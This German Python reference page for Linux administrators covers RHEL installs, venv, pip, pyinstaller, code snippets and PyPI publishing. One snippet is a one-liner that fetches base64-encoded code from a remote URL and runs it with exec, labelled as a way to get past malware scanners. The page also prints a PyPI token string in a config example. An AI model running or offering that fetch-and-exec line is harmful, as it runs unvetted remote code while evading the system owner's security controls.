Python
Siehe auch
Konventionen
var_name_lowercase
function_name_lowercase()
CONST_UPPERCASE
ClassMixedCase
Installation von Python 2 vs Python 3
Zu einer sauberen Python-Umgebung gehören
der Python-Interpreter
die Möglichkeit, pro Projekt virtuelle Environments zu nutzen (Installation von Python-Paketen per yum/dnf ist nicht nötig)
der Paket-Manager pip, der die auf PyPi veröffentlichten Pakete installiert (auf die Alternative easy_manager wird nicht eingegangen)
Tipp
Warum ein VirtualEnv?
Das Ausführen von pip als ‚root‘-Benutzer kann zu fehlerhaften Berechtigungen und Konflikten mit dem Paket-Manager führen. Es wird empfohlen, stattdessen eine virtuelle Umgebung zu verwenden.
Wenn keine virtuelle Umgebung verwendet oder ein Modul ausserhalb einer virtuellen Umgebung benötigt wird, pip --user
verwenden, um Module im Home-Verzeichnis zu installieren.
Python 2 auf RHEL 7
Python 2.7 ist vorinstalliert
venv:
yum -y install python-virtualenv
pip: theoretisch im EPEL-Repo vorhanden; siehe aber besser Abschnitt „venv, pip und Python 2“
Python 3 auf RHEL 7 aus den Standard-Repos (funktioniert Stand 2023-03-31 nicht auf einem echten RHEL 7)
Python 3 ist nicht vorinstalliert
Python:
yum -y install python3
venv: wird mit Python 3 mitinstalliert
pip: wird mit Python 3 mitinstalliert
Neueres Python 3 für RHEL 7 aus den SCL
sudo yum -y install centos-release-scl
sudo yum -y install rh-python38 rh-python38-python-devel
scl enable rh-python38 bash
Python 2 auf RHEL 8
Python 2 ist nicht vorinstalliert
Python:
dnf -y install python2
venv:
dnf -y install python2-virtualenv
pip: wird mit Python 2 mitinstalliert (
pip2
). Keinpip install --upgrade pip
ausführen, siehe Abschnitt „venv, pip und Python 2“
Python 3 auf RHEL 8
Python 3 ist nicht vorinstalliert
Python:
dnf -y install python3
venv: wird mit Python 3 mitinstalliert
pip: wird mit Python 3 mitinstalliert (
pip3
)
Tipp
Ein virtuelles Environment enthält
Shell-Skripte für Bash, Korn-Shell, Fish und PowerShell, um Umgebungsvariablen wie Pfadangaben richtig zu setzen
Eine venv setzt
python
undpip
passend und genau beispielsweise aufpython2
undpip2
Red Hat empfiehlt, auf System-Ebene ausserhalb einer Virtualenv unbedingt den „vollen“ Befehl zu verwenden, also entweder
python2
oderpython3
, genau so wiepip2
oderpip3
.
venv, pip und Python 2
pip gehört nicht zum Python-Projekt und unterstützt Python 2 nicht mehr. Ein pip install --upgrade pip
wird pip daher zum Umgang mit Python Version 3 verdonnern. Um das letzte aktuelle pip für Python 2 zu erhalten, installiert man es in jeder Python 2-venv wie folgt:
# make your virtualenv folder with python2
virtualenv-2 --python=python2 my-venv
source my-venv/bin/activate
pip --version
# now install your python2 packages as usual
pip install mypackage
venv, pip und Python 3
Bemerkung
Hinweise und Advisories in https://github.com/pypa/pip/issues/5599 zum Umgang mit pip beachten!
# create my venv, and give the virtual environment access to the global site-packages
python3 -m venv --system-site-packages my-venv
# activate my venv
source my-venv/bin/activate
# upgrade pip in my venv
pip install --upgrade pip
# install any tool in my venv
pip install glances
pip install "borgbackup==1.1.11"
Tipp
Wer die letzte verfügbare pip-Version für Python2 einsetzen möchte, diese aber nicht über den Paketmanager erhält, kann diese in der venv wie folgt aktualisieren:
# get and install latest oldest pip for python2 (20.3.4)
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
python get-pip.py
- AssertionError: msgpack .dist-info directory not found
Cache ist defekt. Lösung:
rm -rf ~/.cache/pip/
. Zusätzlich kann man dempip install --upgrade
-Befehl den--no-cache-dir
-Parameter anhängen.
Python-Interpreter und -Compiler
Interpreter:
CPython
PyPy
Compiler (erstellt Executables, also .so
oder .exe
):
pyinstaller
Tipp
Wer auf Windows compiliert und den Fehler Cannot open include file: 'io.h': No such file or directory
erhält, muss
einen C-Compiler installieren (pip benötigt einfach einen)
ein Windows SDK installieren
MSVC für Python-Compile auf Windows installieren geht so:
Tools for Visual Studio > Build Tools for Visual Studio 20xx > Download
Die heruntergeladene Datei starten.
Tab „Workloads“:
„Visual Studio extension development“ aktivieren, rechts „MSVC v143 - VS 2022 …“ hinzufügen
„Desktop development with C++““ aktivieren, ältestes „Windows 10 SDK“ hinzufügen
An den zig GB Download führt kein Weg vorbei, wenn man auf MSVC statt beispielsweise gcc setzen möchte.
Frameworks
Django
Flask
Flask mit Flask-RESTPlus für REST-APIs
Quart (kompatibel zu Flask, basiert aber auf Asyncio)
Webserver mit Python
Hilft zum Beispiel, um mal schnell die /root/anaconda-ks.cfg
per HTTP anzubieten. index.html-Dateien werden automatisch als DirectoryIndex verwendet.
python2 -m SimpleHTTPServer 8080 python3 -m http.server -b 0.0.0.0 8080
pyinstaller
Python-Scripte in Executables packen, ohne auf dem Zielsystem eine Python-Runtime vorhalten zu müssen. Damit die eingepackten Bibliotheken möglichst überall funktionieren, sollte der Build auf einem nicht zu neuen OS passieren, z.B. RHEL 7. Damit laufen die Executables auch auf Ubuntu 20+ oder Fedora 35+. Wird dagegen auf Fedora 35+ oder Ubuntu 20+ gebaut, starten die Executables auf RHEL 8 nicht, da auf RHEL tiefliegende Systembibliotheken für GCC in dem Fall um eine Version zu alt sind (ergibt beispielsweise Fehler wie: dlopen: /lib64/libm.so.6: version `GLIBC_2.29' not found
).
dnf -y install glibc binutils
dnf -y install python39 python39-devel
python3 -m venv --system-site-packages pyinstaller
source pyinstaller/bin/activate
pip install --upgrade pip
pip install pyinstaller
# install any libraries specific for your project, e.g.:
pip install BeautifulSoup4 lxml psutil PyMySQL smbprotocol vici
pyinstaller \
--clean \
--distpath /tmp/dist \
--workpath /tmp/build \
--specpath /tmp/spec \
--noconfirm \
--noupx \
--onedir \
/path/to/my/script
Troubleshooting
- Beim Laufenlassen des Executables:
importlib.metadata.PackageNotFoundError: python-keystoneclient
pyinstaller
zusätzlich--copy-metadata python-keystoneclient
mitgeben.- Beim Laufenlassen des Executables:
FileNotFoundError: [Errno 2] No such file or directory: '/tmp/dist/check-plugins/openstack-nova-list/_internal/os_service_types/data/service-types.json'
pyinstaller
zusätzlich--collect-data os_service_types
mitgeben.
Coding
Variablen
String über mehrere Zeilen:
st = ('first line {} '
'second line {}').format(1, 2)
Längere Textpassage:
st = = """
Lorem ipsum.
Lorem ipsum.
"""
Prüfen auf Typ:
if isinstance(var, dict):
„if x is not y“ oder „if x not is y“? Spielt keine Rolle, am lesbarsten aber ist:
x is not y
Alle Elemente einer Liste als einzelne Argumente in eine Funktion:
fruits = ['lemon', 'pear', 'watermelon', 'tomato']
myfunc(*fruits)
Dictionary-Elemente an Funktion übergeben:
mysql_connection = {
'user': args.USERNAME,
'password': args.PASSWORD,
'host': args.HOSTNAME,
'database': args.DATABASE,
'raise_on_warnings': True,
}
cnx = mysql.connector.connect(**mysql_connection)
Schleifen
# list (array)
# value only:
for value in data:
# index only:
for i in range(len(data)):
# value and index:
for i, value in enumerate(data):
# dict (associative array)
for key in data.keys():
for value in data.values():
for key, value in data.items():
Exception Handling
Beispiele:
except:
: No exception type(s) specified (bare-except)except Exception as e:
: Catching too general exception Exception (broad-except)except ValueError:
:int('a')
except IndexError:
:a[1]
except OSError:
: sehr allgmeiner Fehler der os-Class, bei z.B.os.listdir('/')
except FileNotFoundError:
: spezifischer Fehler der os-Class, bei z.B.os.listdir('/')
except KeyError, AttributeError:
: Mehrere Exceptions auf einmal abhandeln
Nützliche Code-Schnipsel
Dateipfade richtig zusammenbauen:
os.path.join(path, filename)
Import von Modulen:
try:
import psutil # pylint: disable=C0413
HAVE_PSUTIL = True
except ImportError:
HAVE_PSUTIL = False
Python-Code remote laden und an Malware-Scannern vorbei ausführen:
python -c "import urllib.request, base64;
exec(base64.b64decode(
urllib.request.urlopen('http://my-code/py.b64')
).decode())"
Prozentausgabe auf einer Line:
# progress bar
if count == 0:
increase = 100
else:
increase = 100 / count
progress = 0
loop:
# do something
print('Status: ', round(progress), '% ', end='\r')
progress += increase
Kopiere CSV-Datei 1 selektiv nach CSV-Datei 2:
import csv
with open('/tmp/tarifpositionen-20191023.csv', 'r') as csvin, open('/tmp/testout.csv', 'w') as csvout:
csvin = csv.reader(csvin, delimiter=',', quotechar='"')
csvout = csv.writer(csvout, delimiter=',', quotechar='"', quoting=csv.QUOTE_ALL)
cnt = 0
for row in csvin:
cnt += 1
if row[0] != '129722558':
csvout.writerow(row)
print(cnt)
cmd1 | cmd2 | cmd3
in Python - Replacing shell pipeline:
import subprocess
p1 = subprocess.Popen(["dmesg"], stdout=subprocess.PIPE)
p2 = subprocess.Popen(["grep", "too"], stdin=p1.stdout, stdout=subprocess.PIPE)
p3 = subprocess.Popen(["grep", "2500"], stdin=p2.stdout, stdout=subprocess.PIPE)
p1.stdout.close() # Allow p1 to receive a SIGPIPE if p2 exits.
p2.stdout.close() # Allow p2 to receive a SIGPIPE if p3 exits.
output = p3.communicate()[0]
Encoding, Decoding, Unicode, UTF-8
Strings:
- Python 3:
my_bytes = b"Under my Umbrella"
(Class „bytes“)my_string = "Under my \u2602"
(Class „str“) - Python 2 -
str
kann Text und Bytes beinhalten:my_string = "Under my Umbrella"
(Type „str“, stores Bytes)my_unicode = u"Under my \u2602"
(Type „unicode“, stores Code-Points)
Encode und Decode unter Python 3:
string.encode() == lib.txt3.to_bytes()
bytes.decode() == lib.txt3.to_text()
Keine implizite Dekodierung mehr. Ein Unicode-String ist ungleich einem Byte-String, selbst wenn beide den gleichen ASCII-Text beinhalten.
Bemerkung
Python 2: unicode.encode()
ergibt Bytes, bytes.decode()
ergibt Unicode. len(unicode)
zählt die Anzahl der Zeichen, len(bytes)
zählt die Anzahl der Bytes. Output ist immer in Bytes. Python 2 versucht automatisch, Byte-Strings zu decodieren. Der format()
-Befehl liefert „str“, wenn ihm kein Unicode-String übergeben wird.
Umgang damit:
Input in das eigene Programm: Bytes
So früh wie möglich in Unicode dekodieren.
Mit Unicode arbeiten.
So spät wie möglich in Bytes enkodieren.
Output: Bytes
Debugging:
print type(myvar)
,print repr(myvar)
Siehe auch:
Code Qualität
Syntax-Check:
python -m py_compile script.py
Automatische Code-Formatierung:
dnf install python3-black
black --line-length 100 script.py
Struktur prüfen: pylint. Brauchbare pylint.rc: https://google.github.io/styleguide/pylintrc
pylint --disable=C0103,C0114,C0116 script.py
Auf Sicherheitslücken prüfen: bandit
pip install bandit
bandit --recursive my-script
Pre-commit Hooks für Git:
Ausführungszeiten messen
import time
start = time.time()
print("hello")
end = time.time()
print(end - start)
pydoc
pydoc -b ./mymodule.py
ohne Parameter: öffnet eine Dokumentation im Terminal
-w
: speichert die Dokumentation als html-k <Begriff>
: nach einem Begriff suchen-p <Port>
: startet lokalen HTTP Server-n <hostname>
: der HTTP Server hört auf den Namen-b
: startet den Server und öffnet die Seite im Browser
Module
Liste an Modulen:
MySQL/MariaDB: MySQLdb (wird auch in Ansible-Modulen verwendet)
Modul B importieren, wenn Modul A nicht verfügbar ist:
try:
# https://pymysql.readthedocs.io/en/latest/
import pymysql as mysql_driver
_mysql_cursor_param = 'cursor'
except ImportError:
try:
import MySQLdb as mysql_driver
import MySQLdb.cursors
_mysql_cursor_param = 'cursorclass'
except ImportError:
mysql_driver = None
BeautifulSoup
Verarbeitung von Auszeichnungssprachen wie HTML und XML.
https://www.crummy.com/software/BeautifulSoup/bs4/doc/
from bs4 import BeautifulSoup
import re
with open("lfs.html") as fp:
soup = BeautifulSoup(fp, 'html.parser')
for tag in soup.find_all():
try:
if 'sect2' in tag.attrs['class']:
if tag.string:
print('\n# {}\n'.format(tag.string.strip()))
except:
continue
try:
if tag.name == 'kbd':
print('{}\n'.format(tag.string.strip()))
except:
continue
os
>>> import os
>>> os.ctermid()
'/dev/tty'
>>> os.curdir
'.'
>>> os.defpath
':/bin:/usr/bin'
>>> os.devnull
'/dev/null'
>>> os.environ
{'LC_NUMERIC': 'de_CH.UTF-8', 'PROCESSES': '117', 'LESSOPEN': '||/usr/bin/lesspipe.sh %s', 'SSH_CLIENT': '1.2.3.4 57484 22', 'SELINUX_USE_CURRENT_RANGE': '', 'LOGNAME': 'root', 'USER': 'root', 'ZOMBIES': '0', 'HOME': '/root', 'LC_PAPER': 'de_CH.UTF-8', 'PATH': '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/bin', 'PS1': '[\\[\\033[1;32m\\]$(date +%H:%M:%S) \\u@\\h \\w\\[\\033[0m\\]]$ ', 'LANG': 'en_US.UTF-8', 'TERM': 'xterm-256color', 'SHELL': '/bin/bash', 'LC_MONETARY': 'de_CH.UTF-8', 'HISTSIZE': '100000', 'EDITOR': 'nano', 'XMODIFIERS': '@im=ibus', 'XDG_RUNTIME_DIR': '/run/user/0', 'SHLVL': '1', 'SELINUX_ROLE_REQUESTED': '', 'XDG_SESSION_ID': '1851', '_': '/usr/bin/python2', 'SSH_CONNECTION': '1.2.3.4 57484 192.168.1.10 22', 'SSH_TTY': '/dev/pts/0', 'HOSTNAME': 'myhostname', 'SELINUX_LEVEL_REQUESTED': '', 'HISTCONTROL': 'ignoredups', 'LC_MEASUREMENT': 'de_CH.UTF-8', 'PWD': '/root', 'MAIL': '/var/spool/mail/root', 'LC_TIME': 'de_CH.UTF-8', 'LS_COLORS': 'rs=0:di=38;5;27:ln=38;5;51:mh=44;38;5;15:pi=40;38;5;11:so=38;5;13:do=38;5;5:bd=48;5;232;38;5;11:cd=48;5;232;38;5;3:or=48;5;232;38;5;9:mi=05;48;5;232;38;5;15:su=48;5;196;38;5;15:sg=48;5;11;38;5;16:ca=48;5;196;38;5;226:tw=48;5;10;38;5;16:ow=48;5;10;38;5;21:st=48;5;21;38;5;15:ex=38;5;34:*.tar=38;5;9:*.tgz=38;5;9:*.arc=38;5;9:*.arj=38;5;9:*.taz=38;5;9:*.lha=38;5;9:*.lz4=38;5;9:*.lzh=38;5;9:*.lzma=38;5;9:*.tlz=38;5;9:*.txz=38;5;9:*.tzo=38;5;9:*.t7z=38;5;9:*.zip=38;5;9:*.z=38;5;9:*.Z=38;5;9:*.dz=38;5;9:*.gz=38;5;9:*.lrz=38;5;9:*.lz=38;5;9:*.lzo=38;5;9:*.xz=38;5;9:*.bz2=38;5;9:*.bz=38;5;9:*.tbz=38;5;9:*.tbz2=38;5;9:*.tz=38;5;9:*.deb=38;5;9:*.rpm=38;5;9:*.jar=38;5;9:*.war=38;5;9:*.ear=38;5;9:*.sar=38;5;9:*.rar=38;5;9:*.alz=38;5;9:*.ace=38;5;9:*.zoo=38;5;9:*.cpio=38;5;9:*.7z=38;5;9:*.rz=38;5;9:*.cab=38;5;9:*.jpg=38;5;13:*.jpeg=38;5;13:*.gif=38;5;13:*.bmp=38;5;13:*.pbm=38;5;13:*.pgm=38;5;13:*.ppm=38;5;13:*.tga=38;5;13:*.xbm=38;5;13:*.xpm=38;5;13:*.tif=38;5;13:*.tiff=38;5;13:*.png=38;5;13:*.svg=38;5;13:*.svgz=38;5;13:*.mng=38;5;13:*.pcx=38;5;13:*.mov=38;5;13:*.mpg=38;5;13:*.mpeg=38;5;13:*.m2v=38;5;13:*.mkv=38;5;13:*.webm=38;5;13:*.ogm=38;5;13:*.mp4=38;5;13:*.m4v=38;5;13:*.mp4v=38;5;13:*.vob=38;5;13:*.qt=38;5;13:*.nuv=38;5;13:*.wmv=38;5;13:*.asf=38;5;13:*.rm=38;5;13:*.rmvb=38;5;13:*.flc=38;5;13:*.avi=38;5;13:*.fli=38;5;13:*.flv=38;5;13:*.gl=38;5;13:*.dl=38;5;13:*.xcf=38;5;13:*.xwd=38;5;13:*.yuv=38;5;13:*.cgm=38;5;13:*.emf=38;5;13:*.axv=38;5;13:*.anx=38;5;13:*.ogv=38;5;13:*.ogx=38;5;13:*.aac=38;5;45:*.au=38;5;45:*.flac=38;5;45:*.mid=38;5;45:*.midi=38;5;45:*.mka=38;5;45:*.mp3=38;5;45:*.mpc=38;5;45:*.ogg=38;5;45:*.ra=38;5;45:*.wav=38;5;45:*.axa=38;5;45:*.oga=38;5;45:*.spx=38;5;45:*.xspf=38;5;45:'}
>>> os.getcwd()
'/root'
>>> os.getegid()
0
>>> os.geteuid()
0
>>> os.getgid()
0
>>> os.getgroups()
[0]
>>> os.getloadavg()
(0.16, 0.26, 0.15)
>>> os.getlogin()
'root'
>>> os.getpgrp()
18108
>>> os.getpid()
18108
>>> os.getppid()
18031
>>> os.getresgid()
(0, 0, 0)
>>> os.getresuid()
(0, 0, 0)
>>> os.getuid()
0
>>> os.linesep
'\n'
>>> os.name
'posix'
>>> os.pardir
'..'
>>> os.pathconf_names
{'PC_MAX_INPUT': 2, 'PC_VDISABLE': 8, 'PC_SYNC_IO': 9, 'PC_SOCK_MAXBUF': 12, 'PC_NAME_MAX': 3, 'PC_MAX_CANON': 1, 'PC_PRIO_IO': 11, 'PC_CHOWN_RESTRICTED': 6, 'PC_ASYNC_IO': 10, 'PC_NO_TRUNC': 7, 'PC_FILESIZEBITS': 13, 'PC_LINK_MAX': 0, 'PC_PIPE_BUF': 5, 'PC_PATH_MAX': 4}
>>> os.pathsep
':'
>>> os.pipe()
(3, 4)
>>> os.sep
'/'
>>> os.times()
(0.0, 0.0, 0.0, 0.0, 5146806.87)
>>> os.uname()
('Linux', 'myhostname', '3.10.0-1160.31.1.el7.x86_64', '#1 SMP Thu Jun 10 13:32:12 UTC 2021', 'x86_64')
platform
>>> import platform
>>> platform.machine()
'x86_64'
>>> platform.node()
'myhostname'
>>> platform.processor()
'x86_64'
>>> platform.python_branch()
''
>>> platform.python_build()
('default', 'Nov 16 2020 22:23:17')
>>> platform.python_compiler()
'GCC 4.8.5 20150623 (Red Hat 4.8.5-44)'
>>> platform.python_implementation()
'CPython'
>>> platform.python_revision()
''
>>> platform.python_version()
'2.7.5'
>>> platform.python_version_tuple()
('2', '7', '5')
>>> platform.release()
'3.10.0-1160.31.1.el7.x86_64'
>>> platform.system()
'Linux'
>>> platform.uname()
('Linux', 'myhostname', '3.10.0-1160.31.1.el7.x86_64', '#1 SMP Thu Jun 10 13:32:12 UTC 2021', 'x86_64', 'x86_64')
>>> platform.version()
'#1 SMP Thu Jun 10 13:32:12 UTC 2021'
selenium
from selenium import webdriver
import time
number_of_browsers = 5
time_to_refresh = 20
url = 'https://www.example.com'
drivers = []
for i in range(number_of_browsers):
drivers.append(webdriver.Chrome(executable_path = "~/.ZAP/webdriver/linux/64/chromedriver"))
drivers[i].get(url)
while True:
time.sleep(time_to_refresh)
for i in range(number_of_browsers):
drivers[i].refresh()
Das Klassenkonzept
#!/usr/bin/env python3
# -*- encoding: utf-8; py-indent-offset: 4 -*-
#
# Author: Linuxfabrik GmbH, Zurich, Switzerland
# Contact: info (at) linuxfabrik (dot) ch
# https://www.linuxfabrik.ch/
# License: The Unlicense, see LICENSE file.
__author__ = 'Linuxfabrik GmbH, Zurich/Switzerland'
__version__ = '2020122901'
class bottle:
# attributes, also usable in sub-classes, except private ones
material_public = 'Plastic (public)'
_material_protected = 'Plastic (protected)'
__material_private = 'Plastic (private)'
# constructor
def __init__(self, color):
self.color_public = '{} (public)'.format(color)
self._color_protected = '{} (protected)'.format(color)
self.__color_private = '{} (private)'.format(color)
# methods
def take(self):
print('Taking...')
print('{}'.format(self.material_public))
print('{}'.format(self._material_protected))
print('{}'.format(self.__material_private))
print('{}'.format(self.color_public))
print('{}'.format(self._color_protected))
print('{}'.format(self.__color_private))
class big_bottle(bottle):
# constructor
def __init__(self, color):
# you will lose all attributes defined in __init__ from class bottle
# if you define a new constructor for this class
pass
def take(self):
print('Taking...')
print('{}'.format(self.material_public))
print('{}'.format(self._material_protected))
# this attribute is only accessible in its own class
# print('{}'.format(self.__material_private))
# would be accessible if you don't define a new constructor here
# print('{}'.format(self.color_public))
# print('{}'.format(self._color_protected))
# this attribute is only accessible in its own class
# print('{}'.format(self.__color_private))
# main
beer = bottle(color='brown')
beer.material_public = 'Glass (public)'
beer._material_protected = 'Glass (protected)'
beer.__material_private = 'Glass (private)'
beer.take()
# Output:
# Taking...
# Glass (public)
# Glass (protected)
# Plastic (private)
# brown (public)
# brown (protected)
# brown (private)
water = big_bottle('blue')
water.take()
# Output:
# Taking...
# Plastic (public)
# Plastic (protected)
GUI, TUI
GUI-Bibliotheken
- Gtk
https://python-gtk-3-tutorial.readthedocs.io/en/latest/index.html
PyGTK wurde von PyGObject abgelöst
- Qt
PyQt: Interface zu QT
PySide2: Interface zu QT
/usr/local/lib64/python3.9/site-packages/PySide2/examples
Links zur Erstellung von Dialogen mit Qt Designer und Python:
- Tk
TKinter: Interface zu Tcl/Tk (Python Standard GUI - für einfachste Dinge)
TUI-Anwendung mit SnackScreen
#!/usr/bin/env python
from snack import *
screen = SnackScreen()
lbox = Listbox(height = 5, returnExit = 1)
lbox.append("Fedora", 1)
lbox.append("Red Hat Enterprise Linux", 2)
lbox.append("Ubuntu", 3)
lbox.append("Slackware", 4)
lbox.append("RHEL", 5)
grid = GridForm(screen, "Select your favorite distro", 1, 1)
grid.add(lbox, 0, 0)
result = grid.runOnce()
screen.finish()
#print "listbox:", lbox.current()
if lbox.current() == 1:
print "Selected Fedora!"
elif lbox.current() == 2:
print "Selected Red Hat Enterprise Linux!"
elif lbox.current() == 3:
print "Selected Ubuntu!"
elif lbox.current() == 4:
print "Selected Slackware!"
elif lbox.current() == 5:
print "Selected RHEL!"
Die Vorbilder liegen auf RHEL 7 nach der Installation mit yum list system-config*
im Verzeichnis /usr/share/system-config-*
- und zwar im Python-Quelltext. Die Dokumentation zu SnackScreen findet sich in der Datei /usr/lib64/python2.7/site-packages/snack.py
. SnackScreen selbst basiert auf newt
, einer in C-geschriebenen Window- und Widget-Library von Red Hat. Deren Doku erhält man nach einem yum -y install newt-devel
; die Datei /usr/share/doc/newt-devel/tutorial.txt
bietet einen umfassenden Einblick.
PyGTK und Glade
ComboxBox: auf Basis eines Models; die ID sollte vom Typ String sein.
ComboBoxText: reine Auflistung von Text-Einträgen, hinter denen eine str(ID) steht. Benötigt kein Model, bietet keine Text-Eingabemöglichkeit.
ComboBoxEntry: eine ComboBox mit Text-Eingabefeld gab es in GTK 2 noch, aber nicht mehr in GTK 3. In GTK 3 eine „ComboBox“ mit Eigenschaft „Has Entry“ wählen.
Siehe:
PyPI
Englisch ausgesprochen „pie pea eye“.
Packaging und Veröffentlichung auf PyPI - so geht’s am Beispiel der Linuxfabrik libs.
Venv erstellen:
python3 -m venv ~/venvs/lib
source ~/venvs/lib/bin/activate
pip3 install --upgrade pip wheel
pip3 install --upgrade build twine setuptools
pyproject.toml File erstellen, als Beispiel siehe Linuxfabrik libs.
Package bauen:
python -m build
# check that your package description will render properly on PyPI
twine check dist/*
Auf https://test.pypi.org API-Token erstellen und Twine konfigurieren:
[testpypi]
username = __token__
password = pypi-204513be14d74574a3bef240699e7117
Hochladen auf PyPI Test-Instanz:
twine upload --repository testpypi dist/*
Angaben prüfen: https://test.pypi.org/project/linuxfabrik-lib/.
Tipp
Die Installation des hochgeladenen Pakets von Test-PyPI kann man prüfen,
wenn im Virtual Environment die notwendigen Requirements für das eigene Projekt aus dem produktiven PyPI mit
pip install --requirement requirements.txt
installiert sindund man anschliessend
pip3 install --index-url https://test.pypi.org/simple/ --upgrade linuxfabrik-lib
aufruft.
Für die Installation vom produktiven pypi.org genügt dagegen ein pip3 install linuxfabrik-lib
.
Auf https://pypi.org API-Token erstellen und Twine konfigurieren:
[pypi]
username = __token__
password = pypi-204513be14d74574a3bef240699e7117
Hochladen auf Prod:
twine upload dist/*
Built on 2024-11-18